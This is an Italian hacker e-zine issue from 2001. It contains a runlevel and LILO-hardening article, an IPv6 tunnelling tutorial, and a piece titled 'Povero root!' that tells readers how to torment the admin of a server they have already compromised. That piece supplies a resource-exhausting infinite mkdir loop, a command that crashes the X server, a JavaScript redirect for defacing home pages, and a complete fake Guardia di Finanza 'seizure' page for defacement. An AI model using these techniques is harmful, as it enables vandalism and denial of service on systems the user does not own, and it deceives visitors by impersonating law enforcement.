Copy Link
Add to Bookmark
Report
Dirtynet 006
/
/ D . i . r . t . y . N . e . t /
/n° 6 (mini-release)/
Rivista mensile/bimensile gratis sulla sicurezza
numero "5" mese uscita Giugno 2001
/Tutti i testi sono sottoposti ad adattamento - syn /
/La rivista non segue un regolare andamento per le uscite /
/Inizio Disclaimer /
Tutto il contenuto di questo file di testo è da ritenersi dannoso quindi non applicabile.
L'utente è pregato di non mettere in atto quanto scritto .Esso è solo stato pubblicato
per offrire una conoscenza maggiore in ambito ,NON per altri scopi.Il testo non si puo'
modificare ne tanto meno vendere senza il consenso dell'autore.Se non si rispettano le
norme l'utente avrà commesso azione illegale. In questo testo è solamente presente
INFORMAZIONE, e l'informazione per legge è LEGALE. Leggendo queste righe tu ACCETTI I
TERMINI descritti, se ci fosse qualcosa di contrario alla tua' mente, esci e cancella
questo file.
/Fine Disclaimer /
/website /
http://www.accaet.da.ru
/email /
syn - syn@hackersat.com
av4Tar_ - avatar@hackersat.com
Jrash - jrash@hackersat.com
Ghent - ghent@hackersat.com
phaet - vesa8_34@yahoo.it
kEwL - kewl@penguinpowered.com
/ascii /
sYn
/staff assemblo /
syn
/===========================::=============================::=================/
/ /Indice /Allegati / /
/===========================::=============================::=================/
/800x600 standard full screen /
Indice
Titolo Collaboratore
/Intro /
/Hacking, sicurezza informatica /
Runlevel e more... - syn
Ipv6izziamo il pinguino - SPYRO
Povero root! - syn
Statdx - SPYRO
/Hacking satellitare /
/Mezzing /
/Phreaking /
/Narcoting /
/Miscellanea /
Writer Block (Bx-Bomber) - Jrash
I modem interni - Jrash
Piccolo corso sull'hardware (parte 2 ) - syn
/Outro /
Links - syn
/Allegati / - cartella "_attc_"
broad.txt = mini broadcast list
statdx.c = statdx exploit
/===========================::=============================::=================/
/ /Runlevel e more... / syn /
/===========================::=============================::=================/
/ RUNLEVEL E MORE...
In questo art. voglio un po' illustrarvi cosa sono sono questi Runlevel tanto sentiti,
e analizzando anche qualche aspetto non casuale.
I runlevel solo alla base del caricamento del sistema-V-init. Infatti essi
caratterizzano la funzionalita' di avvio del sistema. Per la configurazione il
file è situato in /etc/inittab. Esistono 7 runlevel (o 6)e i relativi file di configurazione
sono divisi nelle directory /etc/rc.d/ nella forma rc#.d.
Diamo un po' una guardatino al file, passo passo.
-
#
# inittab This file describes how the INIT process should set up
# the system in a certain run-level.
#
# Author: Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
# Modified for RHS Linux by Marc Ewing and Donnie Barnes
#
# Default runlevel. The runlevels used by RHS are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
#
-
Qui è una breve spiegazione, ma dato che noi siamo ITALIANI eccovi la traduzione :) :
I Runlevel di Init
0 Sistema spento.
1 Modalità utente singolo.
2 Modalità multi-utente senza servizio NFS.
3 Modalità multi-utente, la modalità di base.
4 Non utilizzata
5 Modalità grafica in ambiente X.
6 Riavvio.
-
id:3:initdefault:
-
Questa è una riga fondamentale. Infatti quest'ultima esprime l'ID, il runlevel, azione
e comando facoltativo (in default non è presente nessuno, si deve impartire successivamente).
id:runlevels:action:process
facciamo un esempio:
Se è nelle nostre intenzioni avviare il sistema direttamente con l'interfaccia X Window
basterà sostituire il valore ``3'' con ``5'', quello del runlevel specifico.
Quindi la riga sara'
id:5:initdefault:
Per quanto riguarda le azioni eccovi la spiegazione:
respawn
Il processo verra' rieseguito appena terminato (esempio
getty).
wait Il processo sara' riavviato quando si entra nel runlevel specificato
e si attende fin quando sara' terminato.
once Il processo viene eseguito una sola volta quando si entra nel runlevel
specificato
boot Il processo viene eseguito durante il boot di sistema. I runlevels
field vengono ignorati.
bootwait
Il processo viene eseguito durante il boot di sistema. I runlevels
field vengono ignorati. Si attende fin quando sara' terminato
(esempio /etc/rc).
off nothing.
initdefault
Definisce quale è il runlevel di default
sysinit
Il processo viene avviato una sola volta al boot di sistema.
ondemand
A process marked with an ondemand runlevel will be executed when
ever the specified ondemand runlevel is called. However, no run
level change will occur (ondemand runlevels are `a', `b', and 'c')
Queste sono tra i + importanti, ed eccovi la continuazione (in inglese) :
powerwait
The process will be executed when the power goes down. Init is
usually informed about this by a process talking to a UPS con
nected to the computer. Init will wait for the process to finish
before continuing.
powerfail
As for powerwait, except that init does not wait for the pro
cess's completion.
powerokwait
This process will be executed as soon as init is informormed that
the power has been restored.
powerfailnow
This process will be executed when init is told that the battery
of the external UPS is almost empty and the power is failing
(provided that the external UPS and the monitoring process are
able to detect this condition).
ctrlaltdel
The process will be executed when init receives the SIGINT sig
nal. This means that someone on the system console has pressed
the CTRL-ALT-DEL key combination. Typically one wants to execute
some sort of shutdown either to get into single-user level or to
reboot the machine.
kbrequest
The process will be executed when init receives a signal from the
keyboard handler that a special key combination was pressed on
the console keyboard.
The documentation for this function is not complete yet; more
documentation can be found in the kbd-x.xx packages (most recent
was kbd-0.94 at the time of this writing). Basically you want to
map some keyboard combination to the "KeyboardSignal" action. For
example, to map Alt-Uparrow for this purpose use the following in
your keymaps file:
alt keycode 103 = KeyboardSignal
-
# System initialization.
si::sysinit:/etc/rc.d/rc.sysinit
l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6
-
Sono gli script del file, si trovano nella directory /etc/rc.d (Nella Redhat)
insieme all'eseguibile rc. Dateci una guadata.
Se, ad esempio, abbiamo settato il livello 5, all'avvio, ovvero all' "INIT:
ENTERING RUNLEVEL:5" linux carichera' tutti gli script che si trovano nella directory rc./rc 5.
A questo punto devo di obbligo mostrarvi un piccolo bug, ma in effetti non possiamo nemmeno
definirlo tale.
Se da user si setta il runlevel 1 al riavvio la macchina sara' root senza
digitare ALCUNA PASSWORD!
I + sbadati commettono questo errore, anche se non molto grave, ma si puo' fixare.
Basta impartire a LILO (/etc/lilo.conf) una password.
Inserite la stringa
password=la_passwd_che_vuoi
Questo basta per proteggere il bootloader.
Adesso vi riporto anche altre opzioni per far di che il bootkernel sia ancora + sicuro:
in /boot/chain.b
read-only
fa si che i file root siano di sola lettura, di solito il sistema
rimonta il file-sistem così da imporre il read-write.
password=la_passwd_che_vuoi
fa si che si venga chiesta la password in caso si voglia modificare
l'immagine.
Con questo vi lascio. Non so e non conosco link quindi non posso nemmeno consigliarvi
qualche sitaccio dove consulatare + approfonditamente l'argomento. Ma credo che
sulla documentazione in italiano ci sia ben poco, cmq se qualcuno si accinge alla
ricerca cosa dirgli, buona fortuna :)
syn
www.accaet.da.ru
/===========================::=============================::=================/
/ /Ipv6izziamo il pinguino / SPYRO /
/===========================::=============================::=================/
|
|.|
|.|
|\./|
|\./|
. |\./| .
\^.\ |\\.//| /.^/
\--.|\ |\\.//| /|.--/
\--.| \ |\\.//| / |.--/ _____
\--.|\ |\./| /|.--/ / ___/ ____ __ __ _____ ____
\--.|\ |\./| /|.--/ \__ \ / __ \ / / / / / ___// __ \
\ .\ |.| | /. / ___/ / / /_/ // /_/ / / / / /_/ /
_ -_^_^_^_- \ \\ // / -_^_^_^_- _ /____/ / .___/ \__, / /_/ \____/
- -/_/_/- ^ ^ | ^ ^ -\_\_\- - /_/ /____/
__ __ __
/ / / / ____ _ _____ / /__
| | / /_/ / / __ `// ___/ / //_/
.\ /. Ipv6ziamo il pinguino .\ /. / __ / / /_/ // /__ / ,<
/_/ /_/ \__,_/ \___/ /_/|_|
Url: www.spyrohack.com
www.spippolatori.com/utenti/spyro-www
E-mail: spyro2600@yahoo.it
spyro-collaboratore@spippolatori.com
-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-
Salve ragazzi/e ,utlimamente si parla molto di ipv6,quindi ho deciso di scrivere un'tutorial su come
impostare la propia box linux per questo protocollo di rete.
Ma prima di tutto,sapete cosa è,e come funziona ipv6?
Beh..ho trovato una documentazione comprensibile e carina,ve la propongo qui di seguito:
-------------------------------------------------------------------------------------------------------
Cos'è il protocollo IPv6?
Il protocollo IP (originario) è stato standardizzato nel 1981 (RFC 791 [1]) e la versione che
usiamo tuttora regolarmente è la 4 (IPv4).
Questa versione ha l'ip formato da 32 bit e permette all'incirca un numero di indirizzi pari a 4
miliardi di indirizzi.
Una cifra notevole eh? :) Naturalmente non esistono allo stato attuale 4 miliardi di calcolatori
nel pianeta e quindi non è immediatamente comprensibile il perchè della necessità di passare
in un futuro, prossimo o meno che sia, ad IPv6.
Un pò di cifre:
Classe A: 128 reti disponibili --> 16 milioni di indirizzi ciascuna
Classe B: circa 16.000 reti disponibili --> 65.000 indirizzi l'una
Classe C: circa 2 milioni di reti disponibili --> ciascuna grande 254 indirizzi
In data 1 Gennaio 1996 risultavano occupate 96 classi A, 5655 classi B, 87.924 classi C
E c'è da tener conto che nel 1996 Internet non era ancora un fenomeno di massa...
Comunque tutti i segni premonitori alla crisi del IPv4 c'erano gia, bastava vedere che nel
gen. 93 risultavano online poco meno di un milione e mezzo di host, nel 1996 erano quasi
nove milioni e mezzo.
Ma allora perchè visto che 4 miliardi di indirizzi sono tantissimi, gli IPv4 liberi stannp per
finire?
Perchè sino al 1991venivano assegnate intere classi B e che di questo passo si sarebbero
esaurite entro il 1994.
Per questo motivo la IEFT decise di assegnare blocchi di reti contigue di classe C (le
cosiddette classless), in modo da tamponare il deficit di quelle di classe B.
Naturalmente in quello stesso periodo prende forma l'IPv6....
Allo stato attuale delle cose IPv6 `ha dato vita` a 6Bone, ovvero è una rete per così dire
sovrapposta ad Internet, nella quale host che hanno IPv6 (le cosiddette isole) possono
comunicare tra di loro attraverso i comuni protocolli (http, ftp etc..etc..).
Allo stato attuale delle cose questa comunicazione tra isole viene fatta attraverso
'tunneling`, ovvero detto in modo semplice tutto il traffico IPv6 viene trasportato utilizzando il
routing IPv4.
La maggior parte degli host sono dual-stack, e possono utilizzare i tunnel
per instradare i pacchetti IPv6 su porzioni di rete solo IPv4 per raggiungere l'altra isola IPv6
Per utilizzare un paragone forse banale ma efficace, immaginatevi tante isole IPv6 in un
mare IPv4 (internet) che usano delle barche (routing IPv4) per portare gli abitanti (pacchetti
IPv6) da un'isola all'altra.
natururalmente tutto questo viene effettuato tramite l'incapsulamento di pacchetti IPv6 in
pacchetti IPv4. Allo stato attuale questo viene fatto dal SIT (Simple Internet Transition) (ora
saprete cos'è sit0 :PP)
Caratteristiche principali del SIT:
Box dual-stack (dette anche IPv4/IPv6)
Incapsulamento di pacchetti IPv6 in pacchetti IPv4 per attraversare parti di rete ancora solo IPv4
Perchè viene utilizzato questo sistema? Come dice il nome stesso per effettuare la
transizione in modo meno traumatico possibile. Magari l'unica cosa necessaria è un server
DNS dual stack per risolvere i nomi sia IPv4 che IPv6, però tutto il resto è completamente decentrato.
Infatti ad esempio non è necessario che i router del vostro provider siano aggiornati ad IPv6
per averlo (ad esempio se usate dialup). Basta che mettiate il dual-stack nella vostra box,
usate come gateway/router IPv4/IPv6 quello fornitovi dal vostro tunnel broker, e così
potrete utilizzare in modo ottimale IPv6 (irc, web etc..). Naturalmente non disturbando in
alcun modo la vostra `normale` connessione IPv4.
Che la sperimentazione cominci! :))
Documentazione: Guida ad IPv6 di Silvano Gai - McGrawHill (tutti i diritti riservati) IPv6 HowTo -
www.linuxdoc.org
---------------------------------------------------------------------------------------------------------
Beh..come dice la documentazione,mettiamoci a lavoro.
Requisiti:
1)Una minima conoscenza della ricompilazione del Kernel
2)Sorgenti del Kernel
2)Net-tools (compatibili per ipv6)
3)Iputils (compatibili per ipv6)
Per scrivere questo txt mi riferirò ad un'esperienza personale eseguita su SlackWare 7.1 con il
kernel 2.2.16 .
La versione dei Net-tool è 1.57 mentre la versione di iputils è la 001110.
Non sò precisamente quali versioni di kernel non supportino ipv6,ma ultimamente ne ho ricompilato uno
su red hat 6.1 con kernel 2.2.12 .
Insomma è vecchiotto questo kernel,eppure c'è il modo di abilitare ipv6,credo che chi stà leggendo questo
articolo abbia una distro molto più recente di una RedHat 6.1 .
Ok mettiamoci a lavoro.
Entriamo nella directory dove ci sono i sorgenti del kernel,ovvero /usr/src/linux .
cd /usr/src/linux
dopo prepariamo il menu di configurazione:
make menuconfig
A questo punto apparirà il menù del kernel.
----------------------------------------------------------------------------------------------------------
Se avete già i sorgenti del kernel,saltate questo riquadro,altrimenti continuate a leggere per sapere
come procurarseli.
Ci sono 2 possibilità:
1) Cercarli nel cd-rom di installazione della vostra distro.
Il nome sarà tipo questo: kernel-sorucre-2.2.12-20.i386.rpm
A questo punto digitiamo:
rpm -Uv kernel-sorucre-2.2.12-20.i386.rpm
e i sorgenti verranno installati nella dir /usr/src/linux
2) Scaricarselo dall'ftp ufficiale del kernel,ovvero ftp.kernel.org .
Andare su ftp://ftp.kernel.org/pub/linux/kernel e scegliere la versione
di kernel appropiata.
Scarichiamo i sorgenti in /usr/src e lì scompattiamoli.
Esempio: tar xvfz linux-2.2.16.tar.gz
E anche qui ritroveremo i sorgenti dentro /usr/src/linux
-------------------------------------------------------------------------------------------------------
Nel menù del kernel possiamo vedere molte voci,selezioniamo "Networking Option" e premiamo invio.
Dopo selezionare i seguenti parametri:
[*] Kernel/User netlink socket
<*> Netlink device emulation
<*> The IPv6 protocol (EXPERIMENTAL)
[*] IPv6: enable EUI-64 token format
[*] IPv6: disable provider based addresses
Ok,adesso premiamo su exit per tornare al menu principale e poi di nuovo exit.
Adesso ci comparirà la domanda: Do you wish to save your new kernel configuration?
E noi premiamo su YES .
Ok adesso diamo i comandi:
1)make dep
2)make clean
3)make bzImage
4)make modules
5)make modules_install
Questi sono i 5 comandi che si danno di solito per ricompilare il kernel.
Spiegazione comandi:
1) make dep: controlla le dipendenze
esempio:
noi attiviamo il supporto framebuffer ma non attiviamo la vga,ci pensa lui.
2) make clean: elimina i file oggetto delle vecchie compilazioni
3) make bzImage: Crea il nuovo kernel
4) make modules: crea i moduli
5) make modules_install: installa moduli in /lib/modules
Prima che esegua tutte queste operazioni ci vorrà un po di tempo,ma tanto noi non abbiamo furia,giusto?
Adesso che abbiamo finito dobbiamo provare il nuovo kernel.
Entriamo nella dir. /usr/src/linux/arch/i386/boot e copiamo il nuovo kernel nella directory /boot .
cd /usr/src/linux/arch/i386/boot
mv bzImage /boot/ipv6
In questo modo copiamo il nuovo kernel nella dir. /boot chiamandolo ipv6 .
Adesso creiamo un nuovo label nel LILO per provare il nuovo kernel.
Questo xchè se il nuovo kernel avrà problemi e crasha,noi avremo la possibilità di usare quello
originale ovvero quello funzionante.
Creeiamo un nuovo label.
Editiamo lilo.conf ,che trovermeo nella dir. /etc ,con un qualsiasi editor di testo e aggiungiamo le
seguenti righe:
image = /boot/ipv6
root = /dev/hda6
label = ipv6
read-only
Spiegazione:
image = /boot/ipv6 : Il kernel che lilo deve caricare
root = /dev/hda6 : Partizione in cui è installato il Mount Point /
label = ipv6 : Nome che andrà digitato per caricare il kernel /boot/ipv6
read-only : In questo modo al momento del boot la partizione sarà disponibile solo in lettura
I dati qua sopra citati potete lascialri tutti come li ho settati io,tranne root = /dev/hda6 .
Lì dovrete mettere la vostra partizione root.
Se non sapete quale è,basta che controllate quella del label linux(di solito si chiama così).
--------------------------------LiLo.C0nf--------------------------------------------------------------
boot = /dev/hda
message = /boot/boot_message.txt
prompt
timeout = 1200
other = /dev/hda1
label = DOS
table = /dev/hda
image = /boot/mvlinuz
root = /dev/hda6
label = Linux
read-only
--------------------------------LiLo.C0nf--------------------------------------------------------------
Come si nota il label linux usufruisce della partizione root /dev/hda6 ,quindi il nostro lilo.conf
modificato sarà:
--------------------------------LiLo.C0nf--------------------------------------------------------------
boot = /dev/hda
message = /boot/boot_message.txt
prompt
timeout = 1200
other = /dev/hda1
label = DOS
table = /dev/hda
image = /boot/ipv6
root = /dev/hda6
label = ipv6
read-only
image = /boot/mvlinuz
root = /dev/hda6
label = Linux
read-only
--------------------------------LiLo.C0nf--------------------------------------------------------------
Adesso salviamo e chiudiamo il file lilo.conf
Dovremo far attuare le modifiche a lilo,tutto questo dando il comando: lilo
In questo modo eseguiremo lilo,che controllerà l'esistenza del kernel nuovo da boottare.
Adesso installiamo i Net-tools.
Ma cosa sono?
I net-tools sono componenti per la rete,se non avete una versione abbastanza aggiornata non avete
ifconfig e altri applicativi capace di reggere ipv6.
Ok adesso proviamo ad installarli.
prima di tutto scompattiamoli:
tar xvfz net-tools-1.57.tar.gz
Entriamo nella sua dir:
cd net-tools-1.57
Avviamo la configurazione:
make config
Adesso ci fara varie domande sui servizi che vorremo abilitare,noi premeremo sempre invio,così
risponderemo come ci consiglia il programma.
Ma attenzione soltanto a 2 domande dovremo rispondere con y (yes) ovvero:
INET6 (IPv6) protocol family (HAVE_AFINET6)
e
SIT (IPv6-in-IPv4) support (HAVE_HWSIT)
Se non siete sicuri seguite la seguente configurazione:
-------------------------------------------------------------------------------------------------------
Configuring the Linux net-tools (NET-3 Base Utilities)...
*
*
* Internationalization
*
* The net-tools package has currently been translated to French,
* German and Brazilian Portugese. Other translations are, of
* course, welcome. Answer `n' here if you have no support for
* internationalization on your system.
*
Does your system support GNU gettext? (I18N) [n]
*
*
* Protocol Families.
*
UNIX protocol family (HAVE_AFUNIX) [y]
INET (TCP/IP) protocol family (HAVE_AFINET) [y]
INET6 (IPv6) protocol family (HAVE_AFINET6) [y]
Novell IPX/SPX protocol family (HAVE_AFIPX) [y]
Appletalk DDP protocol family (HAVE_AFATALK) [y]
AX25 (packet radio) protocol family (HAVE_AFAX25) [y]
NET/ROM (packet radio) protocol family (HAVE_AFNETROM) [y]
Rose (packet radio) protocol family (HAVE_AFROSE) [n]
X.25 (CCITT) protocol family (HAVE_AFX25) [y]
Econet protocol family (HAVE_AFECONET) [n]
DECnet protocol family (HAVE_AFDECnet) [n]
Ash protocol family (HAVE_AFASH) [n]
*
*
* Device Hardware types.
*
Ethernet (generic) support (HAVE_HWETHER) [y]
ARCnet support (HAVE_HWARC) [y]
SLIP (serial line) support (HAVE_HWSLIP) [y]
DLCI/FRAD (frame relay) support (HAVE_HWFR) [y]
SIT (IPv6-in-IPv4) support (HAVE_HWSIT) [y]
FDDI (generic) support (HAVE_HWFDDI) [n]
HIPPI (generic) support (HAVE_HWHIPPI) [n]
Ash hardware support (HAVE_HWASH) [n]
(Cisco)-HDLC/LAPB support (HAVE_HWHDLCLAPB) [n]
IrDA support (HAVE_HWIRDA) [y]
Econet hardware support (HAVE_HWEC) [n]
*
*
* Other Features.
*
IP Masquerading support (HAVE_FW_MASQUERADE) [n]
Build iptunnel and ipmaddr (HAVE_IP_TOOLS) [n]
Build mii-tool (HAVE_MII) [n]
-------------------------------------------------------------------------------------------------------
Se seguirete l'esempio di sopra non dovreste avere nessun problema.
Adesso non ci manca altro che concludere l'installazione:
make
e dopo:
make install
Adesso installiamo ip-utils.
Scompattiamolo:
tar xvfz iputils-ss001110.tar.gz
Entriamo nella dir.
cd iputils
Installiamo:
make
Come si può notare,non ci vuole molto :)))
Gli ip utils servono per pingare o fare un traceroute ad un'indirizzo ipv6(non solo).
Adesso dobbiamo crearci un tunnel ipv6,quindi recarsi all'url:
www.6bone.it
www.bersafe.it
www.freenet6.net
e registratevi.
(Io farò l'esempio con 6bone)
Scegliete quello che vi piace di più,cmq non esistono solo quelli che ho citato sopra.
Dopo esserci registrati ci serviranno le seguenti informazioni:
1) Il nostro indirizzo ipv6 che ci viene affibbiato
2) End Point del nostro tunnel
3) La nostra password e user
Adesso ci creiamo uno script in bash che ci apra il tunnel sul nostro piccì:
1) hunguppare il device sit0
ifconfig sit0 up
2) settare l'endpoint del tunnel
nel nostro caso: 62.94.0.65
ifconfig sit0 tunnel ::62.94.0.65
3) hunguppare il device sit1
ifconfig sit1 up
4) aggiungere un indirizzo di route al device
sit1
nel nostro caso:
route -A inet6 add default dev sit1
5) addare l'ip ipv6 nostro al ppp0,
nel nostro caso: 3ffe:8169:b::b25/127
#ifconfig ppp0 add 3ffe:8169:b::b25/127
Adesso che sappiamo cosa mettere nello script,creeiamolo:
vi ipv6.sh
(potete usare qualsiasi editor testuale)
/sbin/ifconfig sit0 up
/sbin/ifconfig sit0 tunnel ::62.94.0.65
/sbin/ifconfig sit1 up
/sbin/route -A inet6 add default dev sit1
/sbin/ifconfig sit1 add 3ffe:8169:b::b25/127
echo Ipv6 Attivo
adesso salviamo e chiudiamo.
Rendiamolo eseguibile:
chmod +x ipv6.sh
Ok,prima di provarlo dobbiamo reboottare per scegliere il kernel con supporto ipv6.
Quindi reboottiamo,quando appare la scritta LILO: premiamo il tasto Tab x vedere se il label ipv6 c'è.
Quindi scriviamo ipv6 e premiamo invio.
Adesso verrà caricato il kernel ipv6zzato :)
Connettiamoci con il nostro account alla rete.
Dopo carichiamo lo script ipv6.
./ipv6.sh
Quindi andare sul sito di 6bone.it(o altro) e aggiornare il nostro tunnel immettendo:
1) login
2) password
3) Nostro indirizzo ipv4
Per trovare il nostro indirizzo ipv4 basta dare il comando ifconfig.
ifconfig
e guardare la parte riguardante ppp0
ppp0 Link encap:Point-to-Point Protocol
inet addr: NOSTROIP P-t-P:193.43.108.12 Mask:255.255.255.255
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1
RX packets:330 errors:2 dropped:0 overruns:0 frame:2
TX packets:392 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:10
Ovvero la riga che inizia come inet addr:
Benissimo,dopo esserci aggornato il tunnel siamo pronti per testarlo.
Per aggiornare di volta in volta il tunnel,si può evitare di andare sempre sul sito,questo scaricando
uno script in bash che potrete trovare sul propio sito di affiliazione di tunneling.
Programmi che supportano ipv6:
Broswer:
Mozzilla 0.8.1 (Grafico)
IRC Client:
X-Chat v1.7.0 (Grafico)
KVirc v2.1.0 (Grafico)
BitchX x1.0c18 (Testuale)
ircII v4.4 (Testuale)
IRC SERVERS:
it.irc6.net
eu.irc6.net
irc6.skylight.be
irc6.edisontel.it
Se tutto è andato a buon fine,siete pronti per il protocollo di prossima generazione.
Anche per oggi abbiamo finito ;)
Un saluto dal vostro SPYRO
Byez
-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-
bash# cd /saluti
bash# cat saluti.txt
Saluti: Bakunin(Mio grande maestro),AtlaWare,mR_bIs0n,Spawn,BsTHaCk,Anubi,D4rkSt4r,jex,Silent,dibbellas,^maga^
Radion,Warning,Terror,Gouranga,Blender,Prodigy,Hiolz[83],Memorik,Hedo,MrWolf,Screen_it,zapotecz,
Goony,Scire,Sulex,Floppino,Grungio,Fratak,McGiver,AntiS,gouranga,LizDay,satz,cancerman,Dea,ULCC,Spider2k
Ice'St0rm e tutti quelli che ho dimenticato di #phreak.it(scusatemi). Poi saluto anche tutti quelli dei
tankcommandos,della hrn,pbk,Maphias0ft,gli Spippolatori,in particolare il grande Master,Chrome,
Brigante,RigorMortem,Vinx2o2o,fen0x,DARKMAN,risk e tutti quelli che mi vogliono bene :)
Fuck to: MMMMM un gran vaffanculo all'amicizia fra ragazzi e ragazze!!!!!!
-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-
bash# cat end.c
#include <stdio.h>
void main(void){
printf("Anche per oggi è tutto dal vostro SPYRO\n");
printf("Ciaoooooooooooo\n");
}
bash# halt
ATTENDERE:ARRESTO DEL SISTEMA IN CORSO......
ORA SI PUO' SPEGNERE IL COMPUTER!
ahahaha scherzo ;)
/===========================::=============================::=================/
/ /Povero root! / syn /
/===========================::=============================::=================/
/ POVERO ROOT!
Salve ragazzi, con questo articoletto voglio un po' illuminarvi su...fare amicizia
con il root!
OK volete far impazzire il root? Una volta roottata una shell di un server
volete un po' collaudarla a dovere?
Volete portare quasi al suicidio il padrone xchè lo avete sul perno della gola ?
Bè la mia mente perversa ha qualcosa per voi !
Vi riporto un po' di tecniche per fare delirare letteralmente il padrone della shell
appena roottata.
Quello che vi riporto non è altro che frutto di uno studio (di poco impegno) sul
sistema operativo, cercando file provando a capire il loro funzionamento e
in che modo possono essere usati anche maliziosamente!
Premetto che per la scrittura di un paio di metodi ho fatto riferimento a dei
vecchi testi.
Tutti i comandi sono testati su sistema Linux, altrimenti sarà specificato nel testo.
Divertitevi:
ISSUE
Il file /etc/issue riporta informazioni relative alla fase di loggaggio.
Ad esempio il os installato sulla macchina, quindi è istintivo provare ad
emulare un po' per far salire di testa il root quando si trova un os differente!
Eccovi una mini lista (reperita in rete) :
Atari Mega STE running JIS-68k 3.0
BSDI BSD/OS 3.0-3.1
VAX/VMS v5.5, CMU-TEK TCP/IP stack
Cisco 762 Non-IOS Software release 4.1(2) or 766 ISDN router
oppure provate
Jolt/OS 4.32- BSD support
che onore !!
SERVER X CRASH
Se esiste il file /tmp/.x11-unix/x0, rimuovendolo farà andare in crash il
server x. Esemipo:
rm /tmp/.x11-unix/x0
KARM PER UTENTI
Se volete modificare il noto programma (forse non troppo), più conosciuto come il
Time Tracker Handbook che gira sotto kde, modificate a vostro piacimento il file:
/home/UTENTE/.kde/share/apps/karm/karmdata.txt (su redhat 7.x non lo ho testato su
altre distro)
Il file si presenta così :
# Karm save data
12 asd
che equivale a :
# Karm save data
tempo nometask
Il tempo è in secondi.
Che dirvi se non sbizzarrirvi a inserire + task anche di + minuti, qui dovrete far
funzionare molto la fantasia .
INDEX REDIRECT
Trovate nella macchina la index (o default) della homepage. Inserite nell'html
questo codice che non fa altro che redirezionare la pagine ad un'altro URL,
magari del vostro sito !! (un grazie a Ghent)
<HTML>
<HEAD>
<TITLE>REDIRECT</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<SCRIPT LANGUAGE="JavaScript">
function Redirect() {
window.open('QUI_LINK_ALLA_PAGINA_CHE_VUOI_LINKARE','_top');
}
</script>
<BODY onload="Redirect()">
</HEAD>
</HTML>
Usando un po' di fantasia cercate di far rimanere stupiti il "padrone", linkando
siti porno o meglio provate questo script www.nomeadmyn.isgay.com, solo se volete
tremendamente insultarlo .
CPU A PUTTANE
Scrivete dalla shell:
while : : ; do
> mkdir "fuck"
> chdir "fuck"
done
L'idea è venuta ad un mio amicone, si vede chiaramente che con questo comando
inizia un ciclo infinito di creazione di directory e sottodirectory che
fanno senz'altro andare "fuori di processo" la cpu e la rete !
ALIAS
Non lo ho terminato...
SEQUESTRO
Sostituite l'html della index con questo, è la pagina che la informapolice
(W www.leuciocutillo.it, questo è uno di loro! ) mette per censurare il siti illegali
(per modo di dire), colpiti sopratutto sono i siti che trattano di hacking
satellitare. In italia il fenomeno si sta espandendo a macchia d'olio, allora
hanno deciso di prendere un "pochino" di provvedimenti, ma non fermeranno
nemmeno il 10% dell'informazione.
Bisogna modificare "CITTA'" e "ILSITOHACKED".
Eccovi l'html. Io pero' ancora non lo ho testato :(
html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Guardia di Finanza</title>
</head>
<body>
<p class="MsoNormal" align="center" style="text-align: center; line-height: 100%"><!--[if gte vml 1]><v:shapetype
id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t"
path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f">
<v:stroke joinstyle="miter"/>
<v:formulas>
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
<v:f eqn="sum @0 1 0"/>
<v:f eqn="sum 0 0 @1"/>
<v:f eqn="prod @2 1 2"/>
<v:f eqn="prod @3 21600 pixelWidth"/>
<v:f eqn="prod @3 21600 pixelHeight"/>
<v:f eqn="sum @0 0 1"/>
<v:f eqn="prod @6 1 2"/>
<v:f eqn="prod @7 21600 pixelWidth"/>
<v:f eqn="sum @8 21600 0"/>
<v:f eqn="prod @7 21600 pixelHeight"/>
<v:f eqn="sum @10 21600 0"/>
</v:formulas>
<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
<o:lock v:ext="edit" aspectratio="t"/>
</v:shapetype><v:shape id="_x0000_i1025" type="#_x0000_t75" style='width:52.8pt;
height:48.6pt' o:ole="" fillcolor="window">
<v:imagedata src="../../../windows/TEMP/msoclip1/01/clip_image001.png"
o:title=""/>
</v:shape><![endif]-->
<img src="index.1.gif" v:shapes="_x0000_i1025" width="83" height="81"><!--[if gte mso 9]><xml>
<o:OLEObject Type="Embed" ProgID="PBrush" ShapeID="_x0000_i1025"
DrawAspect="Content" ObjectID="_1033889735">
</o:OLEObject>
</xml><![endif]-->
</p>
<p class="MsoCaption" align="center" style="line-height: 100%"><span style="letter-spacing: 8"><font face="Times New Roman" size="5">Guardia
di Finanza</font></span></p>
<p class="MsoCaption" align="center" style="line-height: 100%"><span style="mso-bidi-font-size: 10.0pt"><font size="3"><b>COMANDO
NUCLEO PROVINCIALE POLIZIA TRIBUTARIA CITTA'<u></o:p>
</u></b></font></span></p>
<p class="MsoCaption" align="left" style="line-height: 100%">Sito <a href="http://www.ILSITOHACKED.net">http://www.ILSITOHACKED.net</a>
sottoposto a </p>
<p class="MsoCaption" align="center" style="line-height: 100%"><font size="5"><span style="letter-spacing: 12">SEQUESTRO</span></font></p>
<p class="MsoCaption" align="left" style="line-height: 100%"><font size="3">Decreto nr. 5069/99 della </font></p>
<p class="MsoCaption" align="left" style="line-height: 100%"><font size="4"><span style="letter-spacing: 5">Procura
Distrettuale della Repubblica di CITTA'</span></font></p>
</body>
</html>
RUNLEVEL 1
